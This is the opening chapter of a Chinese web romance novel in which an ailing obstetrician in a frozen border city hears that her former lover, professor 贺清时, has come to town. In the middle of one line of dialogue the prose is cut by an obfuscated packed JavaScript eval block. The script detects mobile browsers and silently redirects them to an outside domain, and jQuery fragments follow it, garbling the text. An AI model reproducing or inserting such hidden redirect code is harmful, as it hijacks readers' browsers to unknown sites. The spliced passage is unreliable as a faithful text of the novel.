《早春不过一棵树》


    喻言时/文


    2018.7.10


    晋江文学城独家发表，谢绝转载，请支持正版


    这里荒芜寸草不生，


    后来你来这走了一遭，


    奇迹般万物生长，


    这里是我的心。


    ——周将《沙漠》


    -


    楔子


    梵于的冬天冗长而沉寂，一年中有大半年都是在隆冬，有的只有树叶落尽的萧索，和窗外扑簌簌的雪花。


    圣诞节过后，这个外人口中的“冰雪之城”则越发严寒，蚀骨锥心的寒冷让霍初雪根本就招架不住。


    她已经病了三天了，重感冒，头重脚轻，整个人都有气无力的。


    头两天还坚持带病上班，可到了第三天身体实在扛不住，果断跟科里请了半天假在家休息，一下午都没离开过床。


    她意识涣散，眼神空洞，只知道傻盯着左侧窗柩发呆。


    玻璃上已经结了薄薄的一层窗花。隔着冰层，屋外的世界含糊不清，阴冷而又沉默。


    傍晚时分，天色已经渐趋昏暗，雾霭沉沉。几棵老树上盖了沉甸甸的积雪，枝干都快被压断了，仿佛一个个迎着风雪而立的老人，佝偻着身体，止步不前。


    室内供暖充足，霍初雪盖着厚实的一床被子，可依旧觉得很冷很冷。小小的身体蜷曲成一团，瑟瑟发抖，好像被窝四处都在灌风。


    哪怕来梵于已经整三年，她还是适应不了这里的天气，一入冬就容易感冒，每次感冒还偏偏拖好久。


    所以说当初任性妄为来梵于工作，完全就是脑子进水了。人总要为自己的年少轻狂付出代价。


    霍初雪是青陵人，地地道道的江南水乡姑娘。温和潮湿的气候待惯了，第一年来梵于，遇上了这般酷寒天气根本就不适应，生了一场大病，在医院足足住了一个月。


    后面两年，因为气候原因，她大感冒小感冒无数。可以说是最“虚弱”的产科医生了。


    不过她并不后悔。因为这座城市远在边境，她举目无亲，不会再和青陵有任何牵连。她可以真正做到摈弃过去，只活她自己。


    室内没开灯，狭小的空间里一丝丝微光浮现，光影交错，显得尤为朦胧不明。


    霍初雪的视线也随着周围的光线暗淡下来。


    搁在床头柜上充电的手机屏幕黑着，低迷深醇的男声如潺潺流水流淌在耳畔，取悦着听觉神经——


    雨季一过，门栏前吐新芽是我


    隆冬时节，壁炉烟尘是我


    枝桠伸往，更远处的芦边湖泊


    鸟儿惊起，便将叶子抖落【注】


    ……


    单曲循环已经不知道多少遍了。


    不到六点，天彻底黑下来了。公寓门传来开锁声，窸窸窣窣的一点声响，在这寂静的屋子里显得尤为清晰，甚至可以说是突兀。


    毫无悬念，是自己的室友傅凉微回来了。


    傅凉微是霍初雪在这座城市认识的第一个朋友。认识傅凉微那年，正是她最狼狈不堪的时候，俨然就是一个战败的逃兵，伤痕累累，灰溜溜地从青陵逃到梵于，一躲就是三年。


    而傅凉微当时的情况也不会比她好多少。


    两个姑娘相识于微末，同病相怜，惺惺相惜。傅凉微成为了除乔圣晞以外，霍初雪最好的朋友。


    不过数秒，霍初雪便听到熟悉的脚步声，一扇木门外，温柔的女声慢慢逼近，“小雪，我可以进来吗？”


    她挣扎着支起身子，朝着卧室门虚弱无力地回答:“微微，门没锁，你直接进来。”


    傅凉微迈步入内，迎面就问：“你今天下午感觉怎么样啊？”


    “还是老样子，没什么力气。”霍初雪牵扯两下嘴角，嘴唇干涩得都有些起皮了，唇色也暗淡，瞧不见几分红。


    傅凉微一听立刻拧起眉毛，面露担忧，“你感冒都已经三天了，你还是去医院输液吧，吃药不见好，这样一直拖着可不行。”


    霍初雪不甚在意地摆摆手，“我自己就是医生，心里有数。每次感冒就得这么折磨我几天才会好，我都已经习惯了。”


    傅凉微无奈笑了笑，“‘医者忌医‘，这个词说的就是你这种人。”


    霍初雪尖俏的瓜子脸上浮出一抹虚弱的笑容，眉心舒展开来，倒也没否认。


    她嗓音艰涩，“我只是比较了解自己的身体状况。”


    他们当医生的，天天待在医院里，说得难听点消毒水气味儿都闻吐了，一般没大毛病，谁都不愿再往医院跑。


    傅凉微竖起耳朵听了听环绕在房间里的歌词，忍不住说：“你怎么又听这歌儿了，天天听，听不腻啊？”


    霍初雪微微一笑，“觉得挺好听的，你不觉得这首歌它的歌词写得很美么？”


    “歌词是挺美，还很有意境。”两人对视间，傅凉微眉眼间流露出一丝遗憾，“可惜这歌儿不适合我。我一听总感觉歌词里唱的是自己。民谣应该留给那些真正孤独的人听。”


    可不是么！


    傅凉微温和关切的目光落在霍初雪苍白的面庞之上，忍不住说：“你可得赶紧好起来，我听小董说你霍大医生可是你们产科的顶梁柱，你们刑主任就差把你当宝贝给供起来了。”


    霍初雪:“……”


    真是越说越离谱了！


    霍初雪扶额失笑，“哪有那么夸张！”


    “是小董说的，又不是我说的。”傅凉微耸耸肩，说着就往门外走去，“你自己当心点身体，别整严重了。我就先不跟你说了，赶着出门。”


    霍初雪勾了勾嘴角，语气松快，“傅老师这是要去约会了？”


    傅凉微漂亮的柳叶眉皱着，一副颇为不耐烦的模样，没好气道：“约会个毛线，最近几天A大的一群老师来我们学校开讲座，今天下午刚到。晚上领导要在满味轩给他们接风洗尘，我被校长拉去凑数的。”


    霍初雪:“……”


    “青陵A大？”从傅凉微口中听到“A大”，霍初雪的心当即咯噔一下，犹如巨石落水，狠狠沉了一沉，


    “不然还有哪个A大，985名校，牛逼哄哄，这次光教授级别的就来了十多个。听说还有个很厉害的文学教授，长得特别好看。”


    “叫什么？”她睫毛轻颤，声音紧接着就抖了两下。


    “好像是叫贺清时。”傅凉微歪头想了想，下意识问:“小雪，你本科和研究生也是A大医学院读的吧？认识这个贺教授么？”


    “贺清时……”霍初雪在心里默念两遍。


    一刹那，心湖翻涌，枯井一般沉寂的一颗心难以遏止地抽疼了两下。


    平地起波澜，山呼海啸，前尘往事见缝扎针直往脑门钻。


    呼吸瞬间变得急促起来，垂在一侧的右手不自觉抓住羽绒被的一个角，死死攥在手心里。


    可最终她还是极力稳住声线，“嗯……认识……”


    事实上何止认识，这个人于她而言简直是熟得不能再熟了。


    她心口发闷，只觉得满腔苦涩卡在喉咙里，吞不下去。


    “熟吗？”傅凉微继续追问。


    “什么？”


    “你和这个贺教授熟不熟？”


    “不……不熟。”怕被傅凉微瞧出异样，她赶紧慌乱地移开视线。


    “长得真有那么好看啊？”傅凉微瞬间被引燃八卦因子，迫不及待问：“别不是瞎传传的吧？”


    霍初雪深吸一口气，故作平静回答：“还可以。”


    模棱两可的答案，听不出具体情绪。


    傅凉微听完扬了扬细眉，自然接话：“你这种外貌协会都说还可以了，那肯定不赖。”


    霍初雪:“……”


    “我什么时候说自己是外貌协会了？”


    “你来梵于三年都不见你谈恋爱，我听小董说你们医院都有好几个男医生追你，可你愣是一点心思都没有。肯定是没看上人家呀！我估摸着怎么也得顾砚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487853|170113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    钦和黎瑭那样的人间绝色才入得了你的眼。”


    霍初雪:“……”


    又是小董！等她回医院一定要把小董的嘴给缝上，这姑娘简直太能八卦了！


    “一想到今晚能看到美男，我就兴奋！”傅凉微眉飞色舞，神色激动，言语间满是期待，“我赶紧换身衣服去，再画个美美的妆，争取让人家多看我两眼。”


    霍初雪:“……”


    ——


    傅凉微来去匆匆，屋子里很快便空了。


    霍初雪掐断单曲循环，偌大的空间再度归于沉寂。


    她怔然地望向窗外的世界，大地银装素裹，万家灯火错落有致。


    这座小城同样璀璨繁华，满目琳琅。


    只可惜太冷了！


    这种冷就像是黏腻的蛛网密密麻麻爬满四肢百骸，针扎似的刺破表层皮肤，然后再一点一点渗透进骨头缝里，甩不掉，挣不开，只能任由它整个吞噬。


    霍初雪手脚冰凉，牙齿打颤，整个人裹紧被子蜷缩成一团，像是一只巨大的茧。


    通体白色，了无生气。


    也不知道过了多久，手机发出嗞嗞震动声，提醒她有微信进来。


    她这才将目光从窗户上挪开，缓慢合上眼皮。因为长时间睁眼盯着一个地方看，眼睑酸涩难耐，几滴清泪悄然涌出，径直滑下脸颊，稳稳当当地砸在手背上。


    她倏然惊觉，眼泪居然也可以是凉的。


    她伸手拔掉充电器，手机已经满格了。可人呢？生病的人什么时候才可以满血复活？


    傅凉微在微信上给她发了个视频过来。


    傅凉微:「小雪，太帅了，妖孽啊！我要晕了！！!」


    三个叹号都不足以表达这姑娘的激动程度。


    霍初雪死死盯着手机屏幕，握手机的那只手有些许颤抖。


    她费力点开视频，那是她最熟悉的人。


    这人还是那么喜欢穿西装，打领带，衬衫纽扣扣得一丝不苟。年纪轻轻却显得老气横秋，严谨又刻板，一如当年。


    三年未见，他似乎清瘦了一些，下巴变尖了，两侧的腮骨凸出，格外明显。不变的只有他那与生俱来的疏离，遗世独立。


    真的是贺清时啊！


    太久没有听过这个名字了，久得她几乎都快忘记了。


    她近乎痴迷地望着男人那张脸，不知为何，眼泪突然抑制不住，犹如决堤的洪水，一发不可收拾。


    大概是病了，人也变得越发敏感脆弱。任何一点细枝末节便能轻易带出过去无数的委屈和无助。


    于霍初雪而言，“贺清时”这个名字就是悬在她心底的一道魔咒。不论是她自己想起，还是从别人口中听到，都足以令她失常，溃不成军。


    三年了，她原本以为时间已经过去够久了。她早就已经忘记了这个名字，忘记了它背后的那个人，以及他们彼此纠缠的那段感情。


    殊不知，有些东西揉进骨血，时间过去越久，她就越无法忘怀，深埋在心底，牵一发而动全身。


    嚎啕大哭了一场，肆意宣泄，困意接踵而来，霍初雪昏昏沉沉的睡了过去。


    也不知道自己究竟躺了多久，再有意识之时，她隐约听到了开门声。


    傅凉微这么快就回来了？


    她坐起来，抬手摁亮手边的开关，顶灯透亮，刀尖一样扎着眼珠子，几乎有些睁不开。


    “砰砰砰……”


    一段急促的敲门声钻进耳膜，人都跟着清醒了。


    “进来！”她看向门口，扬起声线，“微微，这么快就结束了？”


    同一时间，房门被人轻轻推开，门外的人不是傅凉微，而是那个她永远都意想不到的人。


    四目相对，霍初雪的脑子嗡嗡作响，全身上下的血液在一瞬间冲上脑门，狂热地敲击太阳穴。思绪犹如浇了油的转椅，飞速转动起来……


    “对了，忘记问先生你的名字了。”


    “贺清时，清时过却的清时。”